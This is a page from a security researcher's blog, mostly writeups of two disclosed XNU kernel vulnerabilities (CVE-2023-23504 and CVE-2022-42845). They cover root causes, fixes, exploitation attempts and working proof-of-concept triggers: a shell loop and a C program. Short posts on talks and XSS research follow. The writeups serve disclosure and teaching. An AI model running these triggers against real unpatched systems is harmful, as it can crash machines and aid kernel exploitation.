Adam Doupé

Associate Professor, Arizona State University
Director, Center for Cybersecurity and Trusted Foundations

CVE-2023-23504: XNU Heap Underwrite in dlil.c

| Comments

This post describes the second vulnerability that I found in the XNU kernel, (first of which is here). XNU is the Operating System used for a number of Apple products, including Macs, iPhones, iPads, Apple Watches, Apple TVs, and so on.

The vulnerability is a 19-year-old heap underwrite vulnerability in XNU’s dlil.c (which handles network interfaces) caused by an (uint16_t) integer overflow in if.c. This can be triggered by a root user creating 65536 total network interfaces.

Root Cause

When an interface is created in ifnet_attach:dlil.c, if_next_index:if.c is called to create a if_index on the ifnet_t ifp:

1
2
3
4
5
6
7
8
9
10
    int idx = if_next_index();

    if (idx == -1) {
        ifp->if_index = 0;
        ifnet_lock_done(ifp);
        ifnet_head_done();
        dlil_if_unlock();
        return ENOBUFS;
    }
    ifp->if_index = (uint16_t)idx; // Vulnerability

This index is cast to a uint16_t.

if_next_index creates one chunk of memory that it splits into two: ifnet_addrs and ifindex2ifnet, and the comments for if_next_index hint at the problem:

“ifnet_addrs[] is indexed by (if_index - 1), whereas ifindex2ifnet[] is indexed by ifp->if_index.”

This means that when 65536 network interfaces are created, the last interface has a ifp->if_index of 0, and then ifnet_attach will write the allocated struct ifaddr * ifa out of the bounds of ifnet_addrs:

1
2
VERIFY(ifnet_addrs[ifp->if_index - 1] == NULL);
ifnet_addrs[ifp->if_index - 1] = ifa;

My Proposed Fix

One fix for the vulnerability would be to limit the amount of interfaces that can be created to 0xFFFF. This could be done in if_next_index, and would not impact an interface with the same name (e.g. feth0) that is created and destroy repeatably (the only likely scenario for this would be a utun device, which is created when a root or privileged process creates a PF_SYSTEM SYSPROTO_CONTROL socket).

The Real Fix

The real fix here is in if_next_index:

1
2
3
4
5
6
7
8
/*
 * Although we are returning an integer,
 * ifnet's if_index is a uint16_t which means
 * that's our upper bound.
 */
if (if_index >= UINT16_MAX) {
  return -1;
}

It seems that we agree on the correct fix (although it’s strange to keep the return value as an int if what you’re returning cannot ever be that large).

Affected Versions

Verified on MacOS 13.0 M1 Mac mini running build 22A380.

Also tested on iOS.

From what I can tell, it seems the vulnerable code was introduced in XNU 517.3.7, Mac OSX 10.3.2, released on December 17th, 2003, making it a 19-year-old bug!

Exploitation Conditions

Creating (and destroying) a network interface normally requires root permissions.

POC

This was a super interesting POC to create.

The simplest POC for this fits in a tweet (NOTE: this might crash your machine):

1
2
3
4
5
6
7
8
9
10
11
12
C=$(sysctl -A | grep ifcount | cut -d':' -f2 | xargs)
for i in `seq 32767`
do
    sudo ifconfig "feth$i" create
    sudo ifconfig "feth$i" destroy
done
T=$((65536 - $C - 32767))
for i in `seq $T`
do
    sudo ifconfig "vlan$i" create
    sudo ifconfig "vlan$i" destroy
done

Learning about the destroy after the create was hard-fought knowledge—for the first ~month of trying to POC this bug I only used create. This triggers some exponential slowdown in the kernel, and so creating enough interfaces took several hours (in my VM it would take >12 hours to trigger). Finally I realized that you could destroy the interface and this would fix the slowdown (I also had learn that the interface info was reused/cached, even if it was deleted, so you couldn’t just create and destroy the same interface type over and over).

However, it’s much faster to trigger the bug in C (by calling the correct ioctl to create and destroy the interfaces.

Here’s the POC that I wrote to trigger this bug, which creates enough interfaces to trigger the integer overflow and the heap underwrite.

If you’re on MacOS 12.6 (last OS that I tested this on), then ~50% of the time your system will crash. This is because there is no memory mapped before ifnet_addrs, and so the write goes to an unmapped page.

Potential Physical Attack

I think it might be possible to trigger this bug through the lightning cable on an iPhone or perhaps USB-C cable on a MacOS machine.

However, Apple (in a great move) now requires you to unlock your device and approve the connection from USB. So, this wouldn’t be possible to do on a locked, pre-first-boot device, however it might be possible to create a malicious device that tricks the user into plugging in and allowing.

I did not pursue this approach (I really don’t have hardware experience), however the idea would be to create a USB device that pretends to be ~65536 NICs. One downside of this approach it that it takes on the order of hours to create all these interfaces (which is why the POC destroys the interface after it’s created).

I did test that this idea could work by using an old iPhone 6s running iOS 12.1, with the checkra1n beta 0.12.4 jailbreak.

On first boot, I plugged in a lightning to ethernet adapter, and it actually created three new interfaces: en3 (the ethernet device), EHC1, and OHC2 (no idea what those are).

So this might be possible, and I would love to know if anyone’s able to do this.

My Failed Exploit Attempt

While creating a POC in MacOS 12.5 I tried a ton to create a POC that could alter the struct ifaddr * ifa that was underwritten, by controlling something that was allocated before ifnet_addrs and then modifying that pointer.

The spoiler alert here is that I failed: I was very close (as I’ll try to layout here) but was stuck on how to flip bits in the pointer without crashing or triggering an infinite loop. Then, MacOS 12.6 dropped which changed the behavior of the kernel’s memory allocator so the POC crashed 50% of the time. I decided I spent enough of my life on this bug (about two months of dedicated effort) so I sent the basic POC to Apple and here we are.

I hope that maybe you can learn something from my failed approach.

Anyway, it seems like this should be easy, use the standard trick of spraying a bunch of Out-Of-Line Mach Messages, then trigger the underwrite, read the messages to see which one was overwritten, then use that to change/alter the pointer.

O, dear reader, it was not so easy.

The first thing to understand is that ifnet_addrs is if_next_index creates it from two chunks of memory, and this memory is doubled every time the limit is hit:

1
2
3
4
5
6
7
8
9
    if (ifnet_addrs == NULL) {
        new_if_indexlim = INITIAL_IF_INDEXLIM;
    } else {
        new_if_indexlim = if_indexlim << 1;
    }

    /* allocate space for the larger arrays */
    n = (2 * new_if_indexlim + 1);
    new_ifnet_addrs = (caddr_t)kalloc_type(caddr_t, n, Z_WAITOK | Z_ZERO);

This means that n gets larger and larger, so we need to allocated 0x8000 interfaces first, and the next one will trigger the allocation of the final location of ifnet_addrs.

For allocations larger than KHEAP_MAX_SIZE, kalloc_type will call into kalloc_large.

1
2
3
4
5
6
7
#if !defined(__LP64__)
#define KHEAP_MAX_SIZE          8 * 1024
#elif  __x86_64__
#define KHEAP_MAX_SIZE          16 * 1024
#else
#define KHEAP_MAX_SIZE          32 * 1024
#endif

So, we should be able to allocate any object into kalloc_large if it’s over say 0x8000 in size (this way it’s applicable in all the platforms).

Oh if only things were that easy/simple.

Turns out that kalloc_large works by calling into kernel_memory_allocate to allocate a page of memory directly from the VM system. Which means that this is essentially above the kernel heap allocation layer.

kernel_memory_allocate eventually calls vm_map_find_space, which then calls vm_map_locate_space.

vm_map_get_range then gets the range from a global variable called kmem_ranges based on flags that are passed all the way:

1
2
    kmem_range_id_t range_id = vmk_flags->vmkf_range_id;
    effective_range = kmem_ranges[range_id];

However, there’s also a check later in vm_map_get_range to see if the size is greater than KMEM_SMALLMAP_THRESHOLD (which is 1MB on 64-bit platforms):

1
2
3
        if (size >= KMEM_SMALLMAP_THRESHOLD) {
            effective_range = kmem_large_ranges[range_id];
        }

These ranges are quite different, as shown from an lldb debug session that I had:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(lldb) print kmem_large_ranges
(kmem_range [4]) $4 = {
  [KMEM_RANGE_ID_NONE]  = (min_address = 0x0000000000000000, max_address = 0x0000000000000000)
  [KMEM_RANGE_ID_PTR_0] = (min_address = 0xfffffff35b14b000, max_address = 0xfffffffee9aa1000)
  [KMEM_RANGE_ID_PTR_1] = (min_address = 0xffffffe625d7b000, max_address = 0xfffffff1b46d1000)
  [KMEM_RANGE_ID_DATA]  = (min_address = 0xffffffa7100a6000, max_address = 0xffffffd54a5fe000)
}

(lldb) print kmem_ranges
(kmem_range [4]) $1 = {
  [KMEM_RANGE_ID_NONE]  = (min_address = 0x0000000000000000, max_address = 0x0000000000000000)
  [KMEM_RANGE_ID_PTR_0] = (min_address = 0xfffffff287c0e000, max_address = 0xffffffffbcfde000)
  [KMEM_RANGE_ID_PTR_1] = (min_address = 0xffffffe55283e000, max_address = 0xfffffff287c0e000)
  [KMEM_RANGE_ID_DATA]  = (min_address = 0xffffffa0756be000, max_address = 0xffffffd54a5fe000)
}

So, this explains why we couldn’t use OOL Mach messages (I tried them twice I think): due to some limit that I can’t find right now we can’t allocate an OOL Mach Message that’s > 1MB.

To make matters worse, we need our victim allocation to end up in KMEM_RANGE_ID_PTR_0 in kmem_large_ranges (which, empirically, is where ifnet_addrs ended up).

(I learned a lot about the importance of keeping notes while trying exploitation. I didn’t keep track of all of these limits, so I wasted lots of time trying different exploitation methods while eventually rediscovering them.)

I then did what any good hacker does: look at every single allocation site in the kernel (using IDA this time on a debug kernel) to see ones that were unbounded.

But now we need to define what our goal here is: We want this victim object allocation to be before the vulnerable object so that we can underwrite the vulnerable object and change the last 8 bytes of that object.

So, it needs:

  1. An allocation that we can control/trigger from userspace.
  2. An allocation that persists (no thank you race conditions, not today).
  3. An allocation that is greater than 1MB (the fun KMEM_SMALLMAP_THRESHOLD).
  4. An allocation that falls into KMEM_RANGE_ID_PTR_0.
  5. An allocation where the object size (i.e. the space that we can use) is a multiple of the page size: We need to be able to read or write to the last 8 bytes of the allocation.

Note that I didn’t start with this list, but only ended up here after following multiple dead ends and false starts.

Finally, I find something promising in kern_descrip.c’s fdalloc:

1
2
    newofiles = kheap_alloc(KM_OFILETABL, numfiles * OFILESIZE,
        Z_WAITOK);

The SUPER weird thing here is that OFILESIZE is NINE (9) BYTES! Why why why, such a weird allocation pattern!

And it starts out at a strange initial that’s difficult to tell, so I created this table (note that it’s allocation size not number of objects) to see when it would be page divisible (I like to do this in an org-mode table where I keep my notes):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Actual Allocation | Actual Allocation | page(0x1000) divisible |
|-------------------+-------------------+------------------------|
|            0x1518 |              5400 |              1.3183594 |
|            0x2a30 |             10800 |              2.6367188 |
|            0x5460 |             21600 |              5.2734375 |
|            0xa8c0 |             43200 |              10.546875 |
|           0x15180 |             86400 |               21.09375 |
|           0x2A300 |            172800 |                42.1875 |
|           0x54600 |            345600 |                 84.375 |
|           0xA8C00 |            691200 |                 168.75 |
|          0x151800 |           1382400 |                  337.5 |
|          0x2A3000 |           2764800 |                    675 |
|          0x546000 |           5529600 |                   1350 |
|          0xA8C000 |          11059200 |                   2700 |

So we need there to be 0x2A3000 / 9 = 0x4B000 numfiles here. But what are those numfiles you ask?

Turns out that we’re looking at the kernel’s storage of a process' fds!

Oh no, can we create 0x4B000 fds in a process?

Yes, if we are root, there are two limits that control this and we can just bump them right up:

1
2
sudo ulimit -n unlimited
sudo sysctl -w kern.maxfilesperproc=614400

The cool thing is that we can actually use dup2 to specify a (large) wanted fd (second argument to dup2) and the kernel will allocate all this memory for us!

Through trial, error, and debugging (dtrace ftw) I found an allocation pattern of fds that put things where we want:

  1. Allocate three smaller fd tables first (to fill up first rather than after) using an fd of 153599.

  2. Allocate in a proc 0x2A3000 / 9 = 0x4B000 fds using dup2. This will be the victim proc table using an fd of 307199.

  3. Allocate one smaller fd tables in other procs of 0x151800 / 9 = 0x25800. These are only needed as spacing to take up room (and as much as needed) so that the target allocation will go after the victim. This is needed because of the “realloc” behavior that goes on when we allocate the victim.

  4. Trigger underwrite.

At this point, we can allocate a victim object in the correct region, we can allocate the vulnerable object after, then we can underwrite to write into it.

Success?

Oh no, now what do we control in this newofiles array?

Later on in fdalloc we find:

1
2
3
4
5
6
7
    newofileflags = (char *) &newofiles[numfiles];
    // ...
    (void) memcpy(newofiles, fdp->fd_ofiles,
        oldnfiles * sizeof(*fdp->fd_ofiles));
    // ...
    (void) memcpy(newofileflags, fdp->fd_ofileflags,
        oldnfiles * sizeof(*fdp->fd_ofileflags));

So now we can see why the allocation size here is 9 bytes: 8 bytes for a pointer (what fdp->fd_ofiles consists of) and 1 bytes for fdp->fd_ofileflags which is the (single byte) flag for the file.

And, to make matters worse, the flags go at the end of newofiles, which is where the underwrite happens (my kingdom for a pointer overlap).

Here are the flags that matter:

1
2
3
4
#define UF_RESERVED     0x04            /* open pending / in progress */
#define UF_CLOSING      0x08            /* close in progress */
#define UF_RESVWAIT     0x10            /* close in progress */
#define UF_INHERIT      0x20            /* "inherit-on-exec" */

I spent a ton of time trying to find a way to flip bits in the pointer using these flags.

Ultimately I gave up, sent what I had to Apple, and moved on to the next bug (but I did learn a lot in the process).

Then, I saw this awesome blog post by Jack Dates from Ret2 Systems talking about how to corrupt from kalloc_large and kernel_map.

Hope this was enlightening or maybe you can empathize in my plight (it seems that us hackers rarely talk about our failures).

CVE-2022-42845: 20-Year-Old XNU Use After Free Vulnerability in ndrv.c

| Comments

I’ve been on a sabbatical this academic year, and my goal is to understand the state-of-the art in exploitation and vulnerability analysis by doing it myself, which I expanded on previously.

This post describes the first vulnerability that I found in the XNU kernel, which is the Operating System used for a number of Apple products, including Macs, iPhones, iPads, lots of i-devices really.

The vulnerability is a 20-year-old use-after-free vulnerability in XNU in ndrv.c, which can be triggered by a root user creating an AF_NDRV socket, and I learned a ton through identifying the root cause, the fix, and creating a proof-of-concept that triggers the vulnerability. And it was quite cool to see my name on the security notes.

Root Cause

An attacker with root privileges can cause a dangling pointer in the nd_multiaddrs linked list where the data is freed but never removed from the linked list.

In ndrv.c:ndrv_do_remove_multicast, the nd_multiaddrs linked list is iterated over to remove the entry ndrv_entry from the nd_multiaddrs linked list with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        /* Find the old entry */
      ndrv_entry = ndrv_have_multicast(np, multi_addr);

      // ...

      // Remove from our linked list
      struct ndrv_multiaddr*  cur = np->nd_multiaddrs;

      ifmaddr_release(ndrv_entry->ifma);

      if (cur == ndrv_entry) {
          np->nd_multiaddrs = cur->next;
      } else {
          for (cur = cur->next; cur != NULL; cur = cur->next) { // adamd: Vulnerability
              if (cur->next == ndrv_entry) {
                  cur->next = cur->next->next;
                  break;
              }
          }
      }

      // ...

              ndrv_multiaddr_free(ndrv_entry, ndrv_entry->addr->sa_len);

Now, if we consider a struct ndrv_multiaddr* linked list of the following:

1
A -> B -> NULL

Where A is nd_multiaddrs (the head of the list) and B is ndrv_entry (the entry that we are deleting).

The start of the for loop sets cur to cur->next, and the if condition in the for loop compares cur->next to ndrv_entry to remove ndrv_entry from our list.

In our example, this will set cur = B at the start of the for loop, then test NULL == B, and the if condition will never trigger.

Thus, even though B is freed after this loop (in the call to ndrv_multiaddr_free), the nd_multiaddrs linked list in our example still looks like:

1
A -> B -> NULL

The conditions for triggering this vulnerability are that there must be at least two elements on the nd_multiaddrs list, and the second element in the list is removed.

Real Root Cause

One of the things that I love about discovering vulnerabilities is trying to put myself in the shoes of the developer to understand why the bug occurred.

I can completely relate to the developer here: it took me awhile of walking through the code to even believe that there was a vulnerability.

On first glance, everything looks fine.

The other aspect to consider is the conditions that have to occur for the bug to be triggered: usually if an off-by-one error (which is essentially what this is) occurs it would be caught by the developer while doing normal testing: because the system wouldn’t do what it was supposed to do.

However, this condition does not trigger in the case of one element in the list, and only occurs if you delete a specific item in a list that has more than one item.

Therefore, I can completely relate to the developer making this mistake and not noticing this bug.

My Proposed Fix

A fix for the vulnerability is to not increment the cur pointer before entering the loop:

1
2
3
4
5
6
7
        for (; cur != NULL; cur = cur->next) {
          if (cur->next == ndrv_entry) {
              cur->next = cur->next->next;
              break;
          }
      }
  }

The Real Fix

And, looking at the patched version, it seems that something similar was used by abstracting the deletion logic into a function ndrv_cb_remove_multiaddr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ndrv_cb_remove_multiaddr(struct ndrv_cb *np, struct ndrv_multiaddr *ndrv_entry)
{
  struct ndrv_multiaddr   *cur = np->nd_multiaddrs;
  bool                    removed = false;

  if (cur == ndrv_entry) {
      /* we were the head */
      np->nd_multiaddrs = cur->next;
      removed = true;
  } else {
      /* find our entry */
      struct ndrv_multiaddr  *cur_next = NULL;

      for (; cur != NULL; cur = cur_next) {
          cur_next = cur->next;
          if (cur_next == ndrv_entry) {
              cur->next = cur_next->next;
              removed = true;
              break;
          }
      }
  }
  ASSERT(removed);
}

It is fascinating to learn how the developers fix these underlying bugs. While the bug itself was fixed, I notice two interesting additions here:

  1. Abstracting the functionality of removing a ndrv_multiaddr into a single function ndrv_cb_remove_multiaddr. In addition to being good software development practice, doing so will help prevent future bugs so developers have a single function to call to delete a ndrv_multiaddr rather than doing it themselves (and introducing another bug).

  2. The developers also added an ASSERT(removed); at the end of the function, and this is important because it essentially encodes the security requirements of the function into the ASSERT statement. If future developers change functionality here, it will be unlikely that the bug will be reintroduced (although it might not be clear to future developers why a function that attempts to remove from a linked list should never fail, so perhaps they would remove it then).

Affected Versions

From what I can tell, it seems that the vulnerable code was introduced in XNU 344 and shipped with Mac OS X Jaguar (10.2), and this bug has been present since ~2002, which makes this a 20-year old bug!

First commit: https://github.com/apple-oss-distributions/xnu/blob/fad439e77835295998e796a2547c75c42f4bc623/bsd/net/ndrv.c#L1054

POC

Here’s the POC that I wrote to trigger this bug, which uses close on the socket to call ndrv_do_detach and then ndrv_remove_all_multicast, which dereferences the dangling object:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stddef.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

/*

  Author: Adam Doupe (adamd)
  POC for CVE-2022-42845: a kernel use-after-free vulnerability in ndrv.c in XNU.
  Writeup: https://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c/  

*/


#define TCPOPT_SACK 5
#define TCPOLEN_CC 6

struct sockaddr_generic {
  uint8_t sa_len;
  uint8_t sa_family;
};

int main()
{
   int sockfd = socket(AF_NDRV, SOCK_RAW, IPPROTO_IP);
   if (sockfd == -1)
   {
      perror("socket");
      return -1;
   }

   char* sa_data = "lo0";
   struct sockaddr_generic sag_s = {
      .sa_len = (sizeof(struct sockaddr_generic) + strlen(sa_data) + 1),
      .sa_family = AF_NS,
   };

   char* sockaddr = (char*) malloc(sag_s.sa_len);
   memcpy(sockaddr, &sag_s, sizeof(struct sockaddr_generic));
   memcpy(sockaddr + sizeof(struct sockaddr_generic), sa_data, strlen(sa_data) + 1);

   char* sockaddr_real = "\x05\x00\x6c\x6f\x30";
   int size = 5;
   int result = bind(sockfd, (struct sockaddr*)sockaddr_real, size);

   if (result != 0)
   {
      perror("bind");
      return -1;
   }

   // Add B to `nd_multiaddrs`

   char val[] = "\010\000\000\000\000\000\000\000";
   int val_size = 8;
   result = setsockopt(sockfd, 0, TCPOPT_SACK, val, val_size);
   if (result != 0)
   {
      perror("setsockopt");
      return -1;
   }

   // Add A to `nd_multiaddrs` (which becomes the head)

   char val_2[] = "\010\000\000\374\377\000\000\000";
   int val_2_size = 8;
   result = setsockopt(sockfd, 0, TCPOPT_SACK, val_2, val_2_size);
   if (result != 0)
   {
      perror("setsockopt");
      return -1;
   }

   // Delete B
   result = setsockopt(sockfd, 0, TCPOLEN_CC, val, val_size);
   if (result != 0)
   {
      perror("setsockopt");
      return -1;
   }

   // At this point B is freed, so we can call multiple functions to exploit

   // closing the socket will call `ndrv_do_remove_multicast` which will crash referencing the deallocated B
   close(sockfd);
}

Vulnerability Discovery

I’m not going to say much publicly at the moment as to how I found this vulnerability, because I’m still using it to find bugs.

I’ll release everything toward the end of my sabbatical, but for now it suffices to say that fuzzing techniques are amazing for finding these types of tricky corner-cases.

Talk: A Computer in Every Pocket: Securing Mobile Applications

| Comments

On 9/8/16 I was invited to give a lecture at the School of Mathematical and Natural Sciences of ASU’s West Campus by the wonderful Dr. Jennifer Hackney Prince. This department is a very interesting and diverse group, so I decided to give a high-level talk about some of the work that we’ve done on securing mobile applications.

I titled this talk “A Computer in Every Pocket: Securing Mobile Applications,” because I believe that mobile applications are fundamentally changing the way that we interact with technology. Furthermore, these devices contain lots of sensitive and personal data, and keeping users safe and this data private is a goal of my research.

I focused on two recent research projects: mobile web applications and the target fragmentation problem in Android. This work is published in the following papers: “A Large-Scale Study of Mobile Web App Security” by Mutchler et al. and “Target Fragmentation in Android Apps” by Mutchler et al. (with a different et al.).

Technical content of the slides are courtesy of the excellent Dr. Patrick Mutchler.

Here is the video recording of the talk:

OWASP Phoenix Talk on Black-Box Web Vulnerability Scanners

| Comments

On Wednesday, June 29th, 2016, I was privileged to give a talk at OWASP Phoenix titled “Everything You’ve Ever Wanted to Know About Black-Box Web Vulnerability Scanners (But Were Afraid to Ask)”.

This was an exciting talk for me, as it was my first ever OWASP meeting. I am a big fan of OWASP, and they have been instrumental to helping shape my knowledge of security. I’m happy to start giving back to the OWASP community.

In this talk I covered parts of the paper Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners, along with the intentionally vulnerable web application WackoPicko, which is contained in the great OWASP Broken Web Applications Project.

I then covered parts of the paper Enemy of the State: A State-Aware Black-Box Web Vulnerability Scanner, which the source code of the state-aware-crawler is available on GitHub.

I also discussed some preliminary work in this area and where I see the field of black-box vulnerability analysis research heading in the future.

There’s also a fantastic Q&A session at the end with great question from the audience.

Here is the video of the talk:

Guest Lecture on Cross-Site Scripting for CSE 466

| Comments

On Wednesday, 11/18/15, I gave a guest lecture in Partha Dasgupta’s CSE 466 class on Cross-Site Scripting vulnerabilities. As this was an undergrad class, I spent time covering the evolution of HTML, the role of JavaScript on the web, the security model of JavaScript, the browser’s Same Origin Policy, how XSS attacks are about circumventing the Same Origin Policy, how XSS vulnerabilities result from the server-side web application code concatenating string to create HTML output that is sent to the user’s browser, how XSS vulnerabilities can be exploits, and how XSS vulnerabilities can be prevented.

Much of this material is derived from my CSE 591 class, which is a grad class on web security, compressed into a single lecture targeted to undergrads. We did not get to cover client-side XSS vulnerabilities (also called DOM-based XSS) or lots of other cool stuff.

Here is the video of the talk:

Stored XSS in Popular DOTS Mobile Game

| Comments

So you may or may not be familiar with the popular mobile game DOTS. Well, if you haven’t checked it out, I urge you to. It’s a lot of fun, and it’s available on both Android and iOS.

Anyway, while playing this game, I discovered a stored XSS vulnerability in DOTS. Here’s how it came about.

XSS in a Mobile Game?

So, while playing the multiplayer mode of DOTS, I noticed that there was a “Share” feature. This feature allows you to share (or brag about) your scores with a friend. What happens is that the app uploads your scores and names to the web server (I haven’t looked into the exact HTTP request that it makes), gets back a unique URL, then allows you to send this URL to someone.

deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

| Comments

This post is an overview of the paper deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation which was written as a collaboration between the UC Santa Barbara Seclab and Microsoft Research, by yours truly. I’m very excited to present this work at the 2013 ACM Conference on Computer and Communication Security in Berlin. If you’re there, please say hi! (Also, if you have suggestions of places or things to do in Europe, let me know!)

So, what is deDacota?

deDacota

deDacota is my attempt to tackle the Cross-Site Scripting (XSS) problem. I know what you’re thinking, there’s been a ton of excellent research on this area. How could this work possibly be new?

XSS

Previously, we as a research community have looked at XSS vulnerabilities as a problem of lack of sanitization. Those pesky web developers (I am one, so I can say this) just can’t seem to properly sanitized the untrusted input that is output by their application.

You’d think that after all this time (at least a decade, if not more), the XSS problem would be done and solved. Just sanitize those inputs!

Back That Data Up: A Cautionary Tale

| Comments

This is a true story that recently happened, and I wanted to share/document it here as a reminder to always backup your research data.

Turns out I was so tired after the 24-hour coding blur that was the 2013 iCTF that I didn’t back up the database. Or if I did, I didn’t check it into our SVN repo. Then, to make matters worse, I didn’t make a note to backup the data later.